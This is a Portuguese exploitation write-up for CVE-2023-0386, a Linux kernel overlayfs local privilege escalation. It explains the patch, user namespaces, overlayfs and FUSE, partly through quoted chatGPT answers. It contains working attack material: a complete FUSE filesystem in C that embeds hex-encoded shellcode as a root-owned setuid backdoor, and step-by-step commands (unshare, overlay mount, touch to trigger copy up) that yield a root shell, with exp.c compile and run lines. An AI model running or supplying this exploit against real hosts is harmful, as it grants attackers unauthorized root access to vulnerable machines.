
Exploit de escalonamento local de privilégios para CVE-2023-0386 visando overlayfs do kernel Linux. Inclui análise detalhada da vulnerabilidade, código PoC e guia de exploração passo a passo usando FUSE e namespaces de usuário.
gcc -Wall exp.c `pkg-config fuse --cflags --libs` -o exp
./exp /tmp

O conhecimento teórico deste artigo (namespaces, sistema de arquivos overlay, sistema de arquivos fuse etc.) vem do chatGPT.
Identificador da vulnerabilidade: CVE-2023-0386
Produto afetado: linux kernel - sistema de arquivos overlay
Versões afetadas: 5.11 ~ 5.19
Pré-requisitos: poder usar unshare ou criar um sistema de arquivos overlay
Impacto: escalonamento local de privilégios
Compilar o kernel manualmente:
Prepare um kernel dentro da faixa de versões vulneráveis, exceto a 5.15 (a 5.15 parece ter problemas), habilitando os dois sistemas de arquivos, overlay e fuse:
CONFIG_SLUB_DEBUGOVERLAY_FS
CONFIG_FUSE_FS
O Ubuntu 21.10 com kernel 5.13.0-16-generic foi testado e funciona:

Antes de analisar a vulnerabilidade, vamos fazer o chatGPT interpretar um especialista em kernel Linux:
(Pergunta ao chatGPT: a partir de agora você fará o papel de um especialista em kernel Linux e me ajudará a responder algumas perguntas)
As informações públicas sobre a vulnerabilidade são escassas; as mais diretas são as do patch. O link para o patch é:
https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=4f11ada10d0a

Podemos ver que uma verificação foi adicionada na função ovl_copy_up_one. Primeiro vamos perguntar ao chatGPT o que essa função faz:

Portanto, essa função atua na operação de copiar um arquivo da camada inferior para a camada superior no sistema de arquivos overlay. Agora, analisando o contexto, vejamos a verificação adicionada pelo patch:
static int ovl_copy_up_one(struct dentry *parent, struct dentry *dentry,
int flags)
{
int err;
DEFINE_DELAYED_CALL(done);
struct path parentpath;
struct ovl_copy_up_ctx ctx = {
.parent = parent,
.dentry = dentry,
.workdir = ovl_workdir(dentry),
};
if (WARN_ON(!ctx.workdir))
return -EROFS;
ovl_path_lower(dentry, &ctx.lowerpath);
err = vfs_getattr(&ctx.lowerpath, &ctx.stat,//[1] 获取底层文件系统的stat
STATX_BASIC_STATS, AT_STATX_SYNC_AS_STAT);
if (err)
return err;
//[2]补丁新加判断文件的stat属性中的用户id和用户组id是否在当前命名空间有映射
if (!kuid_has_mapping(current_user_ns(), ctx.stat.uid) ||
!kgid_has_mapping(current_user_ns(), ctx.stat.gid))
return -EOVERFLOW;
[1] Primeiro, a função vfs_getattr é usada para obter os atributos do arquivo de destino no sistema de arquivos inferior. A função vfs_getattr recebe uma estrutura struct path de um arquivo e retorna a estrutura struct stat correspondente a esse arquivo.
[1.1] ctx.lowerpath é o caminho de um arquivo no sistema de arquivos inferior dentro do overlayfs; o sistema de arquivos overlay será apresentado mais adiante.
[1.2] A estrutura struct stat armazena informações de metadados do arquivo, incluindo o proprietário e o grupo do arquivo, entre outras. As informações do proprietário obtidas serão verificadas na verificação adicionada pelo patch abaixo.
[2] Em seguida, a função kuid_has_mapping é chamada para verificar as informações de proprietário e grupo do arquivo recém-obtidas, determinando se o proprietário e o grupo do arquivo de destino possuem mapeamento no namespace de usuário atual.
[2.1] A função kuid_has_mapping recebe dois parâmetros: uma estrutura struct user_namespace e uma estrutura struct kuid. Essa função verifica se as informações de usuário fornecidas possuem mapeamento no namespace de usuário fornecido. O mapeamento de usuários em namespaces será detalhado a seguir.
Portanto, sabemos que, ao executar a função vulnerável (ovl_copy_up_one), a operação falhará se o usuário proprietário ou o grupo proprietário do arquivo na camada inferior não tiver mapeamento no namespace atual.
Com isso, o princípio do patch fica claro. Mesmo assim, ainda precisamos resolver as seguintes questões para conseguir reproduzir a vulnerabilidade:
ovl_copy_up_one está envolvida, ou seja, a cópia de um arquivo da camada inferior para a camada superior no sistema de arquivos overlay?lowerpath — cujo proprietário é verificado quanto ao mapeamento — na cadeia lógica acima?Antes de responder a essas duas perguntas, precisamos esclarecer alguns conceitos básicos:
(Pergunta ao chatGPT: apresente os namespaces no kernel Linux, por favor)
No Linux, namespaces são um recurso do kernel usado para isolamento de recursos. Com eles, um grupo de processos pode parecer que está rodando em um ambiente de sistema independente, aumentando a segurança e o gerenciamento do sistema. Namespaces desempenham um papel fundamental em tecnologias de contêineres (como o Docker), permitindo que os contêineres rodem em ambientes isolados sem afetar outros contêineres ou o sistema principal.
O kernel Linux suporta 7 tipos de namespaces (mount, pid, net, ipc, user, time, cgroup), e cada um isola um tipo específico de recurso do sistema. Os namespaces são criados, modificados e gerenciados por uma série de chamadas de sistema (como clone, unshare e setns). Runtimes de contêineres (como o Docker) e outras ferramentas de virtualização utilizam esses recursos de namespace para fornecer ambientes de execução independentes e isolados aos contêineres.
Entre eles, a função de verificação kuid_has_mapping, adicionada pelo patch da vulnerabilidade, envolve o namespace de usuário (user namespace), um dos 7 namespaces mencionados acima.
(Pergunta ao chatGPT: apresente o namespace de usuário entre eles, por favor)
O namespace de usuário (User Namespace) é usado para isolar IDs de usuário (UID) e IDs de grupo (GID). Com ele, é possível usar conjuntos independentes de IDs de usuário e grupo em diferentes namespaces. Isso significa que usuários e grupos em um namespace de usuário podem ter IDs ou permissões diferentes em outro namespace. Ele melhora a segurança e o gerenciamento do sistema, especialmente em ambientes de contêineres.
A principal característica do namespace de usuário é o mapeamento de IDs: ele permite mapear UIDs e GIDs de um namespace para UIDs e GIDs de outro. Isso significa que, em namespaces de usuário diferentes, os mesmos UID e GID podem representar usuários e grupos diferentes. Por exemplo, um usuário root (UID 0) em um contêiner pode ser mapeado como um usuário sem privilégios no sistema principal.
Precisamos apenas lembrar dos seguintes pontos:
Por exemplo, usando o usuário breeze, crio um novo namespace de usuário e, dentro dele, ao verificar um arquivo de propriedade de root, o grupo exibido é nobody:

Isso ocorre porque, no novo namespace, o usuário root é o breeze, que criou o namespace, enquanto o root do namespace inicial não foi mapeado manualmente para o novo namespace; por isso, ele é identificado como nobody no novo namespace.
Portanto, neste ponto entendemos o significado do patch: para que o arquivo da camada inferior do overlayfs seja copiado, o proprietário (grupo) do arquivo deve ter mapeamento no namespace atual; caso contrário, um erro é retornado. Ou seja, ser identificado como nobody faz com que a cópia falhe.
(Pergunta ao chatGPT: apresente o sistema de arquivos overlay no Linux, por favor)
O sistema de arquivos Overlay (também chamado de OverlayFS) é um sistema de arquivos virtual do kernel Linux. Ele permite combinar duas ou mais hierarquias de diretórios existentes (chamadas de camadas "lower" e "upper") em uma visão unificada. O OverlayFS é muito útil para habilitar operações de escrita em sistemas de arquivos somente leitura (como imagens), pois redireciona as operações de escrita para uma camada superior que é gravável. Essa abordagem é amplamente utilizada em tecnologias de contêineres (como Docker), pois oferece uma solução leve e de alto desempenho para virtualização de sistemas de arquivos.
A imagem abaixo ajuda a entender como os arquivos reais das camadas inferior e superior de um diretório OverlayFS correspondem aos arquivos na camada merged:

Como o sistema de arquivos superior é gravável, quando o usuário modifica um arquivo que vem da camada superior, a alteração é feita diretamente. No entanto, se o usuário quiser modificar um arquivo na camada inferior, como o file D na figura acima, como o sistema de arquivos inferior é somente leitura, o file D é copiado (copy up) para a camada superior, tornando-se file D', e então a modificação é feita. Na prática, o que é modificado é o file D' copiado para a camada superior; o file D original na camada inferior não é alterado. Isso é o COW (copy on write) do sistema de arquivos overlay:

(Pergunta ao chatGPT: dê-me um exemplo prático de criação de um sistema de arquivos overlay simples)
Vamos demonstrar rapidamente como criar um sistema de arquivos overlay usando o método abaixo:
Primeiro, precisamos criar os diretórios lower1, lower2, upper e work. Esses diretórios serão usados no OverlayFS. Também precisamos criar um ponto de montagem (por exemplo, merged) para acessar a visão combinada. Em seguida, adicionamos algum conteúdo aos diretórios lower1 e lower2:
mkdir lower1 lower2 upper work merged
echo "This is a file in lower1." > lower1/file1.txt
echo "This is a file in lower2." > lower2/file2.txt
Use o comando mount com a opção -t overlay para montar o OverlayFS. Você precisa especificar os parâmetros lowerdir, upperdir e workdir, como mostrado abaixo:
mount -t overlay overlay -o lowerdir=lower1:lower2,upperdir=upper,workdir=work merged
É possível ver no diretório merged os arquivos provenientes das camadas inferior e superior:

Neste diretório, seja criando, removendo ou modificando arquivos, apenas o sistema de arquivos superior é alterado, sem afetar o inferior. Por exemplo, ao criar um novo arquivo (na prática, ele é criado na camada upper):

Modificar um arquivo existente (o arquivo é copiado do lower1 para a camada upper e então modificado):

Resumindo, a lógica relevante para a vulnerabilidade é: quando modificamos um arquivo que vem da camada inferior em um OverlayFS, o arquivo é primeiro copiado para a camada superior e só então a modificação é realizada.
Com base na análise acima, podemos basicamente reconstruir o panorama completo da vulnerabilidade: quando um OverlayFS realiza uma operação de copy up (ao tentar modificar um arquivo da camada inferior, o que aciona a cópia da camada inferior para a superior):
Então a pergunta é: por que copiar um arquivo cujo proprietário não tem mapeamento causa um problema?
Na verdade, a resposta para a pergunta acima é simples: copiar um arquivo não copia apenas o conteúdo; os metadados do arquivo — como informações de proprietário, timestamps, permissões e informações estendidas como capabilities — também são copiados. O risco resultante é que, se o sistema de arquivos inferior for um sistema de arquivos de usuário (como o fuse), altamente controlável pelo usuário, que pode definir qualquer arquivo, mas com limitações (como nosuid), esta vulnerabilidade permite copiar um arquivo suid personalizado pelo usuário da camada inferior de um sistema de arquivos nosuid para um sistema de arquivos normal, fazendo com que o arquivo suid ilegítimo obtenha privilégios suid. Isso leva ao escalonamento de privilégios.
(Pergunta ao chatGPT: apresente o sistema de arquivos fuse, por favor)
FUSE (Filesystem in Userspace) é uma interface de sistema de arquivos que permite aos usuários implementar e executar sistemas de arquivos personalizados no espaço do usuário (em vez do espaço do kernel). O FUSE foi projetado para simplificar o desenvolvimento e a implantação de sistemas de arquivos, ao mesmo tempo em que oferece bom desempenho e segurança. O FUSE é amplamente utilizado no Linux e em outros sistemas do tipo Unix (como macOS e FreeBSD).
Em termos simples, o sistema de arquivos fuse permite definirmos, no nível do usuário, algumas funções de callback do sistema de arquivos (como open, write, readdir e até mesmo getattr, que retorna metadados do arquivo).
O código de sistema de arquivos fuse abaixo (do chatGPT) pode ser usado tanto como exemplo de aprendizado quanto para a exploração da vulnerabilidade mais adiante:
(Pergunta ao chatGPT: dê-me um exemplo simples de código de um sistema de arquivos fuse. Esse sistema deve ter um arquivo hello cujo conteúdo é a string "helloworld", e esse arquivo deve ser um arquivo setuid de propriedade de root)
Após algumas modificações simples (alterar o conteúdo do arquivo para dados binários de backdoor, ajustar algumas configurações de permissão, tamanho do arquivo etc.):
#define FUSE_USE_VERSION 30
#include <fuse.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
static const char *hello_path = "/hello";//fuse文件系统中有一个名为hello的文件,这里是文件路径
const char hello_str[] = {//fuse文件系统中的suid 后门文件的二进制内容
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00,
0x00, 0x56, 0x56, 0x56, 0x56, 0x00, 0x00, 0x00,
0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00,
0x02, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x51, 0xe5, 0x74, 0x64, 0x07, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x31, 0xff, 0x31, 0xd2, 0x31, 0xf6, 0x6a, 0x75,
0x58, 0x0f, 0x05, 0x31, 0xff, 0x31, 0xd2, 0x31,
0xf6, 0x6a, 0x77, 0x58, 0x0f, 0x05, 0x6a, 0x68,
0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f,
0x2f, 0x73, 0x50, 0x48, 0x89, 0xe7, 0x68, 0x72,
0x69, 0x01, 0x01, 0x81, 0x34, 0x24, 0x01, 0x01,
0x01, 0x01, 0x31, 0xf6, 0x56, 0x6a, 0x08, 0x5e,
0x48, 0x01, 0xe6, 0x56, 0x48, 0x89, 0xe6, 0x31,
0xd2, 0x6a, 0x3b, 0x58, 0x0f, 0x05};
static int hellofs_getattr(const char *path, struct stat *stbuf)//获取文件或目录的属性信息的回调函数getattr
{
int res = 0;
memset(stbuf, 0, sizeof(struct stat));
if (strcmp(path, "/") == 0) {//fuse文件系统根目录的权限,0755
stbuf->st_mode = S_IFDIR | 0755;
stbuf->st_nlink = 2;
} else if (strcmp(path, hello_path) == 0) {//hello文件的权限,777并且带有SUID
stbuf->st_mode = S_IFREG | S_ISUID | 0777;
stbuf->st_nlink = 1;
stbuf->st_size = sizeof(hello_str); //hello文件实际大小
} else {
res = -ENOENT;
}
return res;
}
static int hellofs_readdir(const char *path, void *buf, fuse_fill_dir_t filler,
off_t offset, struct fuse_file_info *fi)//获取目录信息的函数
{
(void) offset;
(void) fi;
if (strcmp(path, "/") != 0) {//目前只支持查看fuse的根目录
return -ENOENT;
}
filler(buf, ".", NULL, 0);//默认显示.和..
filler(buf, "..", NULL, 0);
filler(buf, hello_path + 1, NULL, 0);//fuse根目录有一个hello文件
return 0;
}
static int hellofs_open(const char *path, struct fuse_file_info *fi)//打开文件的open回调函数
{
if (strcmp(path, hello_path) != 0) {//只支持打开hello文件
return -ENOENT;
}
return 0;
}
static int hellofs_read(const char *path, char *buf, size_t size, off_t offset,
struct fuse_file_info *fi)//读文件的回调函数read
{
size_t len;
(void) fi;
if(strcmp(path, hello_path) != 0) {//只支持读hello文件
return -ENOENT;
}
len = sizeof(hello_str);
if (offset < len) {
if (offset + size > len) {
size = len - offset;
}
memcpy(buf, hello_str + offset, size);//返回hello文件的内容,即上面的二进制数组
} else {
size = 0;
}
return size;
}
static struct fuse_operations hellofs_oper = {//只实现上述四个回调函数已经够了
.getattr = hellofs_getattr,
.readdir = hellofs_readdir,
.open = hellofs_open,
.read = hellofs_read,
};
int main(int argc, char *argv[])
{
return fuse_main(argc, argv, &hellofs_oper, NULL);//注册回调函数
}
O código acima cria um sistema de arquivos fuse, mas com apenas um arquivo, hello, cujo conteúdo é um programa binário de backdoor, e com permissão setuid de propriedade de root. Apenas quatro funções de callback foram implementadas, servindo somente para as operações mais básicas de listar, abrir e ler o arquivo hello. Podemos compilar e montar o sistema de arquivos fuse com os seguintes comandos:
gcc -Wall hellofs.c `pkg-config fuse --cflags --libs` -o hellofs
mkdir fusefs
./hellofs ./fusefs
Em seguida, podemos ver nosso arquivo hello no diretório fusefs; é um arquivo suid de propriedade de root:

No entanto, usuários comuns não conseguem montar um sistema de arquivos fuse com a opção suid ativada; ou seja, sistemas de arquivos fuse montados por usuários comuns são todos nosuid. Portanto, mesmo executando esse arquivo de backdoor suid, não conseguimos obter privilégios de root:

A seguir, usaremos a vulnerabilidade CVE-2023-0386 e o sistema de arquivos fuse mencionado acima para realizar o escalonamento de privilégios.
Primeiro, precisamos montar um sistema de arquivos overlay de acordo com o cenário da vulnerabilidade, usando o sistema de arquivos fuse como camada inferior e um diretório em que temos permissão de escrita como camada superior. Crie os diretórios relacionados ao overlay, como workdir, e monte o sistema de arquivos fuse.
mkdir hello_mount_point overlay_mount_point upperdir workdir #创建相关目录
./hellofs hello_mount_point #挂载fuse文件系统

Em seguida, crie um novo namespace de usuário, um namespace de mount e um namespace de pid, porque precisaremos criar o sistema de arquivos overlay. Por padrão, não temos permissão de mount, então precisamos obter essa permissão no novo namespace.
unshare -Urm

Crie o sistema de arquivos overlay, usando o sistema de arquivos fuse acima, que contém o arquivo de backdoor suid hello, como camada inferior; a camada superior será nosso diretório gravável upper:
mount -t overlay overlay -o lowerdir=hello_mount_point,upperdir=upperdir,workdir=workdir overlay_mount_point

O estado atual do overlay é mostrado na figura abaixo:

Agora nosso objetivo é usar a vulnerabilidade para copiar o arquivo de backdoor suid do sistema de arquivos fuse montado com nosuid para o sistema de arquivos upper. O sistema de arquivos upper é o sistema de arquivos padrão do sistema operacional e tem suid ativado; essa operação copiará o arquivo de backdoor junto com sua propriedade suid. Portanto, precisamos acionar a operação de copy up do overlayfs, que normalmente é disparada quando tentamos modificar um arquivo da camada inferior — esse é o motivo de termos definido a permissão do arquivo hello como 777 no sistema de arquivos fuse.
Na verdade, modificar um arquivo não se refere apenas a alterar seu conteúdo; alterações em outros atributos do arquivo, como timestamps, também disparam a operação de copy up. Quando o comando touch tenta criar um arquivo que já existe, ele não sobrescreve o arquivo, mas apenas atualiza os timestamps de acesso e modificação. Como as informações de timestamp também contam como atributos estendidos (attr) do arquivo, essa alteração também dispara a cópia para cima no overlayfs.
A pilha de chamadas é mostrada abaixo. Como os timestamps de acesso e modificação do arquivo foram alterados, a cópia para cima (copy up) foi acionada em ovl_setattr:

Portanto, voltando aos passos acima, basta entrar no diretório merged do overlayfs e usar touch para modificar o timestamp do arquivo de backdoor hello:
touch overlay_mount_point/hello

Neste ponto, a operação de copy up já foi disparada:

Vamos ver o diretório superior, ou seja, o diretório upper:
ls -al upperdir

Em seguida, saia do namespace e execute upperdir/hello para obter um shell de root:

Veja exp.c
Compilação e execução:
gcc -Wall exp.c `pkg-config fuse --cflags --libs` -o exp
./exp /tmp
Portanto, o significado deste patch é que, se alguém tentar escalar privilégios como fizemos aqui, o usuário root do namespace inicial certamente não terá mapeamento no novo namespace de usuário (e não temos como mapeá-lo, pois isso exigiria privilégios), então a operação falhará. Por outro lado, se o usuário já estiver mapeado no novo namespace de usuário, o cenário será considerado legítimo.